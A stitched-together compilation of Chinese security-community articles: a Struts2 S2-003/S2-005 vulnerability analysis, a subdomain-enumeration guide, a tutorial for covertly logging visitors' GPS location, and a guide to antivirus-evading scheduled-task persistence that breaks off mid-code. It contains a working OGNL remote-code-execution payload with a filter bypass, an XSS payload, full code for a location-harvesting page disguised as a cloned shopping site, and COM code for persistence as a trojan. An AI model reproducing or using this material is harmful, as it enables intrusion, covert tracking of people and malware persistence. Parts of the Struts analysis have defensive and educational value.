# Struts2 漏洞分析系列 - S2-003&S2-005/初识首个通用Struts2框架漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞概述
S2-003的漏洞核心在于Struts2中的ParametersInterceptor（某个拦截器）会对请求中的参数名称进行OGNL的表达式解析，虽然有一定的过滤，但是过滤的不完全导致被绕过。
**影响版本：2.0.0～2.1.8.1**
官方issue地址：<https://cwiki.apache.org/confluence/display/WW/S2-003>
官方issue地址：<https://cwiki.apache.org/confluence/display/WW/S2-005>
## 0x01 环境搭建
S2-003的执行流程与S2-001不同，主要区别在于S2-003中必须包含一个Action，否则无法走到漏洞触发的流程，因此首先需要搭建一个漏洞环境。
首先编写一个LoginAction用于模拟登陆过程：
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username;
private String password;
public String getUsername() {
return username;
}
public String getPassword() {
return password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throw Exception {
if (this.username == null || this.password == null) {
return "failed";
}
if (this.username.equals("admin") && this.password.equals("admin")) {
return "success";
}
return "failed";
}
public static void main(String[] args) {
}
}
LoginAction的继承关系如下：
随后写一个struts.xml：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="st2-demo" extends="struts-default">
<action name="login" class="LoginAction">
<result name="success">index.jsp</result>
</action>
</package>
</struts>
这样我们就算是写好了一个`login.action`的路由了，直接启动Tomcat访问login.action即可使用LoginAction中execute的逻辑，当用户名与密码正确时会跳转到index.jsp中。
## 0x02 漏洞分析
在之前的文章中有介绍过，Struts2的执行流程中涉及一个叫拦截器的东西，Struts2自带了许多拦截器，在请求到达真正的Action前会进行一系列处理，并在执行完毕后重新调用一次用于做请求完毕的清理。
S2-003的漏洞就出在其中的ParametersInterceptor上，在Struts2的执行流程中，首先会调用每个拦截器的doIntercept对请求进行处理，首先看看ParametersInterceptor的doIntercept方法：
com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept
public String doIntercept(ActionInvocation invocation) throws Exception {
Object action = invocation.getAction();
if (!(action instanceof NoParameters)) {
ActionContext ac = invocation.getInvocationContext();
Map parameters = ac.getParameters();
if (LOG.isDebugEnabled()) {
LOG.debug("Setting params " + this.getParameterLogMap(parameters));
}
if (parameters != null) {
Map contextMap = ac.getContextMap();
try {
OgnlContextState.setCreatingNullObjects(contextMap, true);
OgnlContextState.setDenyMethodExecution(contextMap, true);
OgnlContextState.setReportingConversionErrors(contextMap, true);
ValueStack stack = ac.getValueStack();
this.setParameters(action, stack, parameters);
} finally {
OgnlContextState.setCreatingNullObjects(contextMap, false);
OgnlContextState.setDenyMethodExecution(contextMap, false);
OgnlContextState.setReportingConversionErrors(contextMap, false);
}
}
}
return invocation.invoke();
}
上述代码，首先获取了当前请求对应的Action，也就是之前编写好的LoginAction，随后获取在前面拦截器中封装完毕的Action上下文，并获取了当前请求中的参数。
随后当参数不为空时，会为ContextMap设置三个键，分别为xwork.NullHandler.createNullObjects、xwork.MethodAccessor.denyMethodExecution、report.conversion.errors，其值都被设置为true。最后获取了ValueStack并调用了setParameters方法，传入三个参数分别为LoginAction、ValueStack、parameters。
相关参数值如下：
com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters
protected void setParameters(Object action, ValueStack stack, Map parameters) {
ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
Map params = null;
if (this.ordered) {
params = new TreeMap(this.getOrderedComparator());
params.putAll(parameters);
} else {
params = new TreeMap(parameters);
}
Iterator iterator = params.entrySet().iterator();
while(true) {
Entry entry;
String name;
boolean acceptableName;
do {
if (!iterator.hasNext()) {
return;
}
entry = (Entry)iterator.next();
name = entry.getKey().toString();
acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
} while(!acceptableName);
Object value = entry.getValue();
try {
stack.setValue(name, value);
} catch (RuntimeException var13) {
if (devMode) {
String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{var13.getMessage()});
LOG.error(developerNotification);
if (action instanceof ValidationAware) {
((ValidationAware)action).addActionMessage(developerNotification);
}
} else {
LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + var13.getMessage());
}
}
}
}
从代码中去看，setParameters这个参数主要用于解析请求中的参数并将其设置到ValueStack这个栈中，在这里通过一个while循环取出参数名name，接着调用了acceptableName来判断允许解析。
当满足如下条件时，acceptableName返回true：
* name中不包含`=`
* name中不包含`,`
* name中不包含`#`
* name中不包含`:`
当满足上述条件时，会跳出while循环，并获取请求中的value，调用ValueStack#setValue来设置值：
com.opensymphony.xwork2.util.OgnlValueStack#setValue
public void setValue(String expr, Object value) {
this.setValue(expr, value, devMode);
}
com.opensymphony.xwork2.util.OgnlValueStack#setValue
public void setValue(String expr, Object value, boolean throwExceptionOnFailure) {
Map context = this.getContext();
try {
String msg;
try {
context.put("conversion.property.fullName", expr);
context.put("com.opensymphony.xwork2.util.ValueStack.ReportErrorsOnNoProp", throwExceptionOnFailure ? Boolean.TRUE : Boolean.FALSE);
OgnlUtil.setValue(expr, context, this.root, value);
} catch (OgnlException var11) {
if (throwExceptionOnFailure) {
msg = "Error setting expression '" + expr + "' with value '" + value + "'";
throw new XWorkException(msg, var11);
}
if (LOG.isDebugEnabled()) {
LOG.debug("Error setting value", var11);
}
} catch (RuntimeException var12) {
if (throwExceptionOnFailure) {
msg = "Error setting expression '" + expr + "' with value '" + value + "'";
throw new XWorkException(msg, var12);
}
if (LOG.isDebugEnabled()) {
LOG.debug("Error setting value", var12);
}
}
} finally {
OgnlContextState.clear(context);
context.remove("conversion.property.fullName");
context.remove("com.opensymphony.xwork2.util.ValueStack.ReportErrorsOnNoProp");
}
}
在setValue中主要在ContextMap设置了两个值，fullName代表了请求中key的完整值，随后继续调用OgnlUtil.setValue，传入四个参数分别为expr（key）、context（ContextMap）、this.root（RootContext）、value。
com.opensymphony.xwork2.util.OgnlUtil#setValue
public static void setValue(String name, Map context, Object root, Object value) throws OgnlException {
Ognl.setValue(compile(name), context, root, value);
}
ognl.Ognl#setValue
public static void setValue(Object tree, Map context, Object root, Object value) throws OgnlException {
OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
Node n = (Node)tree;
n.setValue(ognlContext, root, value);
}
在setValue方法中可以看到，这里首先将name（也就是key）编译为AST Node，随后调用AST
Node的setValue方法设置值，后续的调用流程就不细跟了，在S2-001中可以发现最终的OGNL解析实现在getValue，然而在setValue这也会对key进行一次OGNL解析，因此也存在对应的表达式解析的漏洞。
在前面的调用流程中我们知道，前面在ContextMap中添加了一个键xwork.MethodAccessor.denyMethodExecution，其值为false，这个键影响到后续OGNL解析时是否可以调用方法，而此处为false，我们需要先将其修改为true。
那么怎么修改呢？在前面的学习中我们了解到，在OGNL中实现赋值的方式有两种：
Ognl.getValue(compile("id=123"),context,root,resultType) // 将root对象的id属性赋为123
Ognl.getValue(compile("#request.name='liming',#request.name"),context,root,resultType) // 将context中request对象的name属性赋为liming，并将其返回
那么我们是否可以通过`#xwork.MethodAccessor.denyMethodExecution=false`直接将contextMap中的这个键设置为false？答案是不行的…因为在OGNL中`.`代表访问属性，上面的OGNL语句代表访问xwork下的MethodAccessor这个属性，然而ContextMap中没有xwork这个对象，更不可能存在MethodAccessor这个属性了，因此我们需要换一种方法。
在OGNL中我们可以通过数组的方式获取一个对象中的属性，这点与Python的SSTI很像，即可以通过`#context['xwork.MethodAccessor.denyMethodExecution']`获取到这个属性，这下子获取属性的问题解决了，但是怎么赋值呢？
注意这是setValue而非getValue，最终是需要执行一个set的操作的，set必然操作的是一个对象而非undefined，而OGNL的AssignNode最终返回的肯定是一个undefined，因此我们没有办法直接通过`#context['xwork.MethodAccessor.denyMethodExecution']=false`来赋值，我们需要让这个OGNL最后返回一个对象让setValue执行set操作。
在之前的学习中可以了解到，一行OGNL的表达式可以通过`,`被拆分为多个OGNL表达式，并且最终这个表达式返回的是最后一个`,`所返回的值，通过这个思路，POC就可以完美的写出来了：`#context['xwork.MethodAccessor.denyMethodExecution']=false,#request`。
这个POC最终返回的是ContextMap中的request，自然也支持set操作，不会报错，不影响后续的执行。现在属性设置完毕了，执行命令也就简单了，在上述POC中插入S2-001执行命令的POC即可。
最终POC：
#context['xwork.MethodAccessor.denyMethodExecution']=false,@java.lang.Runtime@getRuntime().exec('open -a /System/Applications/Calculator.app')#request
接下来需要解决最后一个问题，在前面`acceptableName`的过滤中，限制了name中不能出现几个关键字符，我们需要绕过这个。
在OGNL中支持Unicode编码，当其遇到`\`时会首先触发相关解码，随后再进行解析，利用这个特性，我们可以将黑名单中的字符转为unicode编码来绕过。
最终转换后的POC：
\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse\[email protected]@getRuntime().exec('open -a /System/Applications/Calculator.app')\u002c\u0023request
至于为什么OGNL在compile时会解析Unicode，这点在[https://xz.aliyun.com/t/2323中有过相关解释了，没什么好讲的，fastjson也会有这样的处理，都是为了兼容某些环境的运行情况而做的一个处理。](https://xz.aliyun.com/t/2323%E4%B8%AD%E6%9C%89%E8%BF%87%E7%9B%B8%E5%85%B3%E8%A7%A3%E9%87%8A%E4%BA%86%EF%BC%8C%E6%B2%A1%E4%BB%80%E4%B9%88%E5%A5%BD%E8%AE%B2%E7%9A%84%EF%BC%8Cfastjson%E4%B9%9F%E4%BC%9A%E6%9C%89%E8%BF%99%E6%A0%B7%E7%9A%84%E5%A4%84%E7%90%86%EF%BC%8C%E9%83%BD%E6%98%AF%E4%B8%BA%E4%BA%86%E5%85%BC%E5%AE%B9%E6%9F%90%E4%BA%9B%E7%8E%AF%E5%A2%83%E7%9A%84%E8%BF%90%E8%A1%8C%E6%83%85%E5%86%B5%E8%80%8C%E5%81%9A%E7%9A%84%E4%B8%80%E4%B8%AA%E5%A4%84%E7%90%86%E3%80%82)
## 0x03 修复方案
对于S2-003漏洞，官方通过增加安全配置（禁止静态方法调用和类方法执行等）来修补，即在原有基础上添加allowStaticAccess这么一个过滤。
**然鹅治标不治本，官方似乎没有意识到漏洞的核心在于黑名单被绕过，所以后续产生了S2-005这么一个漏洞，原理与S2-003相同，只不过POC中将allowStaticAccess设为true罢了：_memberAccess[‘allowStaticAccess’]=true.**
最后的修复方案自然是修补黑名单了，从根本上解决Unicode编码、八进制编码绕过的安全问题：
protected boolean acceptableName(String name) {
return this.isAccepted(name) && !this.isExcluded(name);
}
protected boolean isAccepted(String paramName) {
if (!this.acceptParams.isEmpty()) {
Iterator i$ = this.acceptParams.iterator();
Matcher matcher;
do {
if (!i$.hasNext()) {
return false;
}
Pattern pattern = (Pattern)i$.next();
matcher = pattern.matcher(paramName);
} while(!matcher.matches());
return true;
} else {
return this.acceptedPattern.matcher(paramName).matches();
}
}
这里主要是增加了一个acceptedPattern：
private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";
如果payload和之前一样，通过`\u`、`\x`之类的方式绕过，会被这里的正则匹配到：
因此就没有办法通过`\u`等方式绕过acceptableName的过滤了。
## 0x04 一点吐槽
网上的分析文章中主要存在几个容易让新手产生误区的点：
1. 漏洞只能在Tomcat6下复现（URLENCODE即可解决）
2. Payload过于复杂化（都是照搬的，完全不讲Payload的原理，只讲如何到触发OGNL表达式注入）
以其中的一篇文章中的POC为例：
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\'calc\')')(bla)(bla)
这个POC，相信大家看了都会有一个疑问，为什么有unicode编码？这个括号是什么？这个bla是什么？这个`&`号是什么？然鹅这些作者都没有解释，而是直接代入到了OGNL表达式解析这块。
实际上做漏洞分析的时候，大家应该以挖掘者的身份去思考，这个点被过滤了，我要怎么绕？绕过的第一步是什么？而不是直接放网上公开的POC，然后自己开始瞎JB分析。
## 0x05 漏洞总结
通过本篇的分析我们可以了解到S2-003与S2-005的核心在于ParametersInterceptor在对请求中的参数进行解析时会对key进行OGNL的表达式解析，并且过滤不严谨，可以通过编码绕过。
S2-003与S2-005算是Struts2框架的通用问题，其不需要依赖于某个特定的写法，即不属于安全开发规范中，所以影响范围相比于S2-001会更广一些（S2-001依赖于标签）。 | 社区文章 |
子域枚举的意义
这不是一个新鲜的技术，它的存在是为了增加发现漏洞的概率，
服务于一次渗透测试的成功。
子域往往运行着许多应用程序，增加漏洞发现的机会
相同的漏洞往往会出现在不同的子域之中
隐藏的子域经常会存在重要的应用程序，如果发现关键漏洞可以直击目标核心
子域枚举技术详解
1.通过搜索引擎
Google语法例如" site:* " 是一种众所周知的方法，它可以用在所有搜索引擎上，
但在Google上支持运算符可以帮助我们排除不感兴趣的子域,
site:*.google.com -www -search -chrome -news
2.通过第三方服务的DNS数据集检索给定域的子域
VirusTotal:<https://www.virustotal.com/gui/home/search>
DNSdumpster:<https://dnsdumpster.com/>
virustotal最初由Hispasec维护是一个免费对可疑文件和网址进行快速检索的在线应用，
它检索出的信息比搜索引擎查找的更加直观和全面，不仅可以找到子域还可以找例如
whois之类的其它对于网站重要的信息，对于信息侦察阶段具有参考意义。
DNSdumpster的好处是有一个Mapping，<https://dnsdumpster.com/static/map/google.com.png>
3.工具枚举
Sublist3r：<https://github.com/aboul3la/Sublist3r>
Sublist3r是一款优秀的工具，它不仅可以枚举子域，还添加了搜索引擎如"Google"、“Yahoo”
、“Bing”、“Ask”、甚至是“Baidu”，如果你熟悉网络防火墙在这里可以意识到你需要挂载一个
流量代理，或者使用海外的远程服务器才能发挥它所有的功能，同时它还使用了Netcraft,Virus
total,ThreatCrowd,DNSdumpster,ReverseDNS来枚举子域，所以这是一个“all in one”的工具。
python sublist3r.py -e google,bing,yahoo,virustotal -d example.com -b -p
80,443
-e:是指定搜索引擎
-b:是Brute俗称爆破
-p:是指定端口
我建议阅读项目的说明文档，这样便于真正的灵活使用它。
assetfinder (<https://github.com/tomnomnom/assetfinder>)
<https://github.com/tomnomnom/assetfinder/releases>
assetfinder [--subs-only] <domain></domain>
这款子域枚举工具的平台支持性十分良好，而且速度十分优异，
我下载了二进制文件直接可以在Windows下使用，
altdns: <https://github.com/infosec-au/altdns>
Altdns是一个DNS侦查工具,通过变更和排列允许发现符合模式的子域的工具
类似的工具还有dnsrecon:<https://github.com/darkoperator/dnsrecon作为一个dns枚举脚本>
4.Certificate Transparency(CT)
证书透明度（CT）旨在记录、审核和监视证书颁发机构（CA）(<https://en.wikipedia.org/wiki/Certificate_authority)颁发的证书，>
CT允许网站用户和域所有者识别错误的或者被恶意修改的颁发证书，
这有助于识别未授权的CA，CA是受信任的第三方，受数字证书的所有者和依赖证书的一方的信任，
证书颁发机构CA会颁发每个SSL/TLS证书发布到公共日志中，
SSL/TLS证书通常会包含域名、子域、电子邮件这些对攻击者有价值的信息，
如果你要成为理论专家，我建议你阅读（<https://blog.appsecco.com/certificate-transparency-the-bright-side-and-the-dark-side-8aa47d9a6616）>
（1)crt.sh
<https://crt.sh/?q=%25.example.com>
crt.sh提供PostgreSQL接口来提权给定域名的子域
# !/bin/sh
# Script by Hanno Bock -<https://github.com/hannob/tlshelpers/blob/master/getsubdomain>
query="SELECT ci.NAME_VALUE NAME_VALUE FROM certificate_identity ci WHERE
ci.NAME_TYPE = 'dNSName' AND reverse(lower(ci.NAME_VALUE)) LIKE
reverse(lower('%.$1'));"
echo $query | \
psql -t -h crt.sh -p 5432 -U guest certwatch | \
sed -e 's:^ _::g' -e 's:^_.::g' -e '/^$/d' | \
sort -u | sed -e 's:*.::g'
也可以使用python脚本
优秀的研究人员把更多的ct搜索脚本放在这里
(<https://github.com/appsecco/the-art-of-subdomain-enumeration>)
(2)massdns(<https://github.com/blechschmidt/massdns>)
该项目使用前需要进行编译，在根目录下运行make即可
massdns支持crt.sh使用
./scripts/ct.py github.com | ./bin/massdns -r lists/resolvers.txt -t A -o S -w
results.txt
保存结果的文件在目录下
script目录下的(subbrute.py)支持对子域进行暴力枚举
./scripts/subbrute.py lists/names.txt github.com | ./bin/massdns -r
lists/resolvers.txt -t A -o S -w results.txt
(3)censys
censys是跟shodan同种类的搜索引擎，黑客可以用来做信息侦察，安全人员可以拿来做安全研究
<https://censys.io/ipv4?q=example.com>
同时也可以用censys python库编写的工具来提取给定域的子域
<https://github.com/christophetd/censys-subdomain-finder>
<https://github.com/0xbharath/censys-enumeration>
使用这类工具通常都需要设置API，
这里需要先注册一个账户在<https://censys.io/register>
注册是免费的，然后访问<https://censys.io/account/api>
并且使用你注册账户的API ID和API Secret设置两个环境变量
$ export CENSYS_API_ID=" ** _**_** "
$ export CENSYS_API_SECRET=" ** _**_** "
值得一提的是censys_enumeration可以枚举子域和邮箱，用法如下：
$ python censys_enumeration.py domains.txt
censys_subdomain_finder:
$ python censys_subdomain_finder.py example.com
[ _] Searching Censys for subdomains of example.com
[_] Found 5 unique subdomains of example.com
* products.example.com
* www.example.com
* dev.example.com
* example.com
* support.example.com
5.自治系统/自治域(Autonomous system, AS)
自治系统是指在互联网中，一个或多个实体管辖下的所有IP网络和路由器的组合，它们对互联网执行共同的路由策略,参看RFC 1930中更新的定义。
<https://tools.ietf.org/html/rfc1930>
<https://en.wikipedia.org/wiki/Autonomous_system_(Internet>)
<https://www.iana.org/assignments/as-numbers/as-numbers.xhtml>
通过查找自治系统(AS)编号可以帮助我们识别某个组织的网络块具有的有效域，
<https://asn.cymru.com/cgi-bin/whois.cgi>
<https://www.ultratools.com/tools/asnInfo>
<https://nmap.org/nsedoc/scripts/targets-asn.html>
找到的ASN编号可以使用nmap脚本来查找域的网块
nmap --script targets-asn --script-args targets-asn.asn=ASN编号
还有其它“花哨”的手段可以阅读参考书(<https://hakin9.org/a-penetration-testers-guide-to-subdomain-enumeration/)进行学习补充，hakin9提供了在线答疑功能，当你有疑虑的>
时候可以直击右下角进行询问在线答疑人员。
实例参考:
本例子引用了h1中的一个报告(<https://hackerone.com/reports/770513>)
(1)首先通过crt.sh来查找存在多级子域的目标
(2)接着使用assetfinder配合httprobe来枚举子域
<https://github.com/tomnomnom/assetfinder/releases>
<https://github.com/tomnomnom/httprobe/releases>
将目标锁定为<https://client-beta.global.chalet.8x8.com/>
(3)用dirsearch来进行目录探测
<https://github.com/maurosoria/dirsearch>
(4)使用arjun查找隐藏参数
<https://github.com/s0md3v/Arjun>
(5)插入Payload获得xss
Payload : “><img onerror=alert(1) src>
参考来源:
<https://censys.io/>
<https://crt.sh/>
<https://www.virustotal.com/gui/home/search>
<https://dnsdumpster.com/>
<https://github.com/aboul3la/Sublist3r>
<https://github.com/tomnomnom/assetfinder/releases>
<https://github.com/infosec-au/altdns>
<https://github.com/darkoperator/dnsrecon>
<https://en.wikipedia.org/wiki/Certificate_authority>
<https://blog.appsecco.com/certificate-transparency-the-bright-side-and-the-dark-side-8aa47d9a6616>
<https://docs.google.com/presentation/d/1PCnjzCeklOeGMoWiE2IUzlRGOBxNp8K5hLQuvBNzrFY/edit>
<https://github.com/appsecco/bugcrowd-levelup-subdomain-enumeration>
<https://blog.appsecco.com/open-source-intelligence-gathering-101-d2861d4429e3>
<https://www.databreaches.net/hackers-post-450k-credentials-apparently-pilfered-from-yahoo/>
<http://info.menandmice.com/blog/bid/73645/Take-your-DNSSEC-with-a-grain-of-salt>
<https://hakin9.org/a-penetration-testers-guide-to-subdomain-enumeration/>
<https://medium.com/@gguzelkokar.mdbf15/get-reflected-xss-within-3-minutes-baa314e25489>
<https://www.peerlyst.com/posts/bsideslv-2017-breaking-ground-with-underflow-bsides-las-vegas>
<https://github.com/appsecco/the-art-of-subdomain-enumeration>
<https://github.com/blechschmidt/massdns>
<https://github.com/christophetd/censys-subdomain-finder>
<https://github.com/0xbharath/censys-enumeration>
<https://tools.ietf.org/html/rfc1930>
<https://en.wikipedia.org/wiki/Autonomous_system_(Internet>)
<https://www.iana.org/assignments/as-numbers/as-numbers.xhtml>
<https://asn.cymru.com/cgi-bin/whois.cgi>
<https://www.ultratools.com/tools/asnInfo>
<https://nmap.org/nsedoc/scripts/targets-asn.html> | 社区文章 |
总所周知，我们的IP定位也只是定位公网IP，精准度大部分不是很准，甚至有些时候不能很好的获取对方的位置，以下的技术，我自己试了，精准度在50以内，
此技术利用了HTML5 Geolocation API
直接调用方法即可，即使是4G网页可以精准定位
最原始代码如下，我自己加了一些
编写index.php页面代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<img src="1.png" alt="" width="100%;">
<script>
var geol;
try {
if (typeof(navigator.geolocation) == 'undefined') {
geol = google.gears.factory.create('beta.geolocation');
} else {
geol = navigator.geolocation;
}
} catch (error) {
//alert(error.message);
}
if (geol) {
geol.getCurrentPosition(function(position) {
var nowLatitude = position.coords.latitude;
var nowLongitude = position.coords.longitude;
//以上是固定代码，获取经度纬度
alert("纬度：" + nowLatitude + "， 经度：" + nowLongitude); //弹出经度纬度的坐标
function new_form(){
var f=document.createElement("form");
document.body.appendChild(f);
f.method="post";
return f;
} //定义函数，创建form
function create_elements(eForm,eName,eValue){
var e=document.createElement("input");
eForm.appendChild(e);
e.type="text";
e.name=eName;
if(!document.all){e.style.display="none"}else{
e.style.display="block";
e.style.width="0px";
e.style.height="0px";
}
e.value=eValue;
return e;
}
//这段代码意思就是 定义方法，有两个input 他们的值分别是经度纬度的值
var _f=new_form();
create_elements(_f,"username",nowLatitude) // 创建form中的input对象
create_elements(_f,"password",nowLongitude);
_f.action="geolocation2.php";
_f.submit(); //提交
//表单自提交发送到geolocation2.php页面
}, function(error) {
switch(error.code){
case error.TIMEOUT :
//alert("连接超时，请重试");
break;
case error.PERMISSION_DENIED :
//alert("您拒绝了使用位置共享服务，查询已取消");
break;
case error.POSITION_UNAVAILABLE :
//alert("非常抱歉，我们暂时无法通过浏览器获取您的位置信息");
break;
}
}, {timeout:10000}); //设置十秒超时
}
//设置连接超时的报错
</script>
</body>
</html>
然后来写接受页面 geolocation2.php 的代码
<?php
@$time=date('Y-m-d H:i:s',time()); //获取当前时间
$nowLatitude="纬度 ".$_POST['username']; //接受上个页面传过来的参数（经度坐标）
$nowlongitude="经度 ".$_POST['password']." ------时间是".$time."\r\n";;
//接受上个页面传过来的参数（纬度坐标）
$fp=fopen("geo.txt", "a+"); //创建一个geo.txt文件
fwrite($fp, $nowLatitude); //把经度写入到geo.txt里
fwrite($fp, $nowlongitude); //把纬度写入到geo.txt里
?>
注意点：对方必须点击授权以后才能拿到对方的经度纬度（这个缺点可以结合社工实现）
现在来做个小测试
假设让对方访问
让对方访问我们的站点，他的页面上会显示 它自己的经度，纬度，并且经度纬度会保存在我们的站点数据里
打开geo.txt
对方的经度纬度已经写入
现在我们打开
<http://www.gpsspg.com/maps.htm>
把经纬度，写上去
给我朋友做的测试，它的确在这里，精准度50米
现在来完善上面的缺点
就是去网上扒一个购物网站的源码，把源码复制在index.php里
图如下，我把网站源码修改成当当网的了
这样就能精准的获取到他的地址位置～～～
不过我在想，能不能做个事件，或者是什么的，把 上面的取消按钮隐藏起来， 一直实现不了，还希望各位前辈一起动动各位的大脑~~~ | 社区文章 |
# 基础知识
计划任务是系统的常见功能，利用任务计划功能，可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行。
当我们需要在服务器上定时执行一些重复性的事件时使用的，可以通过计划任务程序来运行准备好的[脚本](https://baike.baidu.com/item/脚本/399)、批处理文件夹、[程序](https://baike.baidu.com/item/程序/71525)或命令，在某个特定的时间运行。
计划任务可以在计算机管理 -> 任务计划程序 -> 任务计划程序库中能够看到
计划任务设置之后，就可以定时去执行计划任务设置的任务，那么这里我们不禁又想，能不能每次被控电脑启动的时候添加一个自启木马的计划任务来达到权限维持的作用呢？当然可以，但是这里我们能够想到通过计划任务进行权限维持，杀软肯定也早早知道了计划任务的这个功能，首先我们假设已经拿到了webshell能够命令执行添加计划任务，如下所示，这里ret=-1就是杀软拦截了命令的执行。
可能这里还不是特别明显，这里我们假装已经上线了cs，然后再调用sc创建计划任务，肯定是会被杀软拦截的
那咋办呢，那岂不是有杀软的情况下计划任务都执行不了了？今天就来探究一下怎样绕过杀软来添加计划任务。
# 初探
想要知其然，也要知其所以然，就要对敌人进行深入的了解，这里我们去msdn看一下`Task Scheduler`即计划任务到底是怎么解释的
> ## About the Task Scheduler
>
> The Task Scheduler enables you to automatically perform routine tasks on a
> chosen computer. Task Scheduler does this by monitoring whatever criteria
> you choose (referred to as triggers) and then executing the tasks when those
> criteria are met.
知道师傅们英文都不太好(其实是我自己看不懂英文)，直接中文翻译走一波看看，计划任务能够执行的时间还挺多，确实是权限维持的一大利器
我们随便打开一个计划任务来看一下，主要是有常规、触发器、操作、条件、设置几个菜单，但是这里的接口并不是按照这几个选项来命名的，这里一开始准备按照接口去找导致卡了半天
首先找到注册信息接口，对应的是`IRegistrationInfo
interface`即注册信息接口(这里没有英翻搞得我很难受)，在这个接口下需要设置两个属性，一个是`IRegistrationInfo::get_Author`，另外一个则是`IRegistrationInfo::get_Description`，前面属性对应的是创建者，后面属性对应的是计划任务程序的描述
再就是`ITaskDefinition
interface`即计划定义接口，这个接口主要是定义计划任务有哪几个组件，就是我们上面看到的诸如任务设置、触发器、注册信息等等，这个接口里面需要用到的有`ITaskDefinition::get_Settings`、`ITaskDefinition::get_Actions`、`ITaskDefinition::get_Triggers`，分别对应获取计划任务设置、计划任务组件、设置启动任务触发器的集合
`ITriggerCollection
interface`为触发器收集接口，主要用到的属性有`ITriggerCollection::Create`，创建计划任务的触发器
`ITrigger
interface`为触发器接口，用到的属性有`ITrigger::put_Id`、`ITrigger::get_StartBoundary`、`ITrigger::put_EndBoundary`，分别用来设置触发器的标识符、设置触发器的日期和时间、设置停用触发器的时间
`IExecAction
interface`为命令行动作接口，主要用到`IExecAction::put_Path`、`IExecAction::put_Arguments`来设置可执行文件的路径以及和命令行关联的参数
# 实现过程
首先梳理下思路，大体可以分为两个部分实现，首先需要进行初始化操作，再进行计划任务的创建。
我们需要初始化COM接口的环境，然后创建任务ITaskService并链接到任务服务，再从ITaskService里获取根任务Root Task Folde
的指针ITaskFolder指向新注册的服务。
当我们完成初始化的操作之后，首先创建任务定义对象来创建任务，然后对ITaskDefinition进行设置，使用 ITaskFolder
对象并利用任务定义对象 ITaskDefinition 的设置，注册任务计划
首先使用`CoInitializeEx`这个api来初始化COM接口
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
然后创建任务服务对象
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)(&m_lpITS));
再连接到任务服务
hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
获取Root Task Folder 的指针 ，这个指针指向的是新注册的任务
hr = m_lpITS->GetFolder(_bstr_t("\"), &m_lpRootFolder);
到这里我们第一大部分就已经实现，获取到了ITaskFolder指向了新注册的服务，再就是创建任务定义对象来创建任务的实现
首先我们判断是否存在了相同的计划任务，若存在则删除
Delete(lpszTaskName);
然后创建任务定义对象
ITaskDefinition *pTaskDefinition = NULL;
HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);
设置注册信息与创建计划任务的信息，这里为了迷惑可以设置启动者为`Microsoft`
IRegistrationInfo *pRegInfo = NULL;
CComVariant variantAuthor(NULL);
variantAuthor = lpszAuthor;
hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);
hr = pRegInfo->put_Author(L"Microsoft");
pRegInfo->Release();
创建计划任务设置与设置任务值
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
登入触发器
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
添加触发器，这里我设置为登录即触发，即开机自启运行来达到权限维持的作用
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);
然后设置执行路径和参数
CComVariant variantProgramPath(NULL);
CComVariant variantParameters(NULL);
IExecAction *pExecAction = NULL;
hr = pAction->QueryInterface(IID_IExecAction, (PVOID *)(&pExecAction));
创建执行动作
IActionCollection *pActionCollect = NULL;
hr = pTaskDefinition->get_Actions(&pActionCollect);
创建执行操作
hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);
pActionCollect->Release();
设置程序路径和参数
pExecAction->put_Path(variantProgramPath.bstrVal);
pExecAction->put_Arguments(variantParameters.bstrVal);
pExecAction->Release();
然后创建计划任务，这里注意一下第一个参数意思为创建并覆盖当前的计划任务，第四个参数以`system`权限启动，第六个参数为组激活，即`TASK_LOGON_GROUP`
hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,
pTaskDefinition,
TASK_CREATE_OR_UPDATE,
_variant_t(L"system"),
_variant_t(),
TASK_LOGON_GROUP,
_variant_t(L""),
&pRegisteredTask);
这里可以加一个删除计划任务的函数，也可以不加，主要是看创建计划任务的用途是用来权限维持还是其他的作用
BOOL Delete(char* lpszTaskName)
{
if(NULL == m_lpRootFolder)
{
return FALSE;
}
CComVariant variantTaskName(NULL);
variantTaskName = lpszTaskName;
HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);
if (FAILED(hr))
{
return FALSE;
}
return TRUE;
}
完整代码如下
BOOL Tasksch(LPWSTR wszTaskName,LPWSTR FilePath)
{
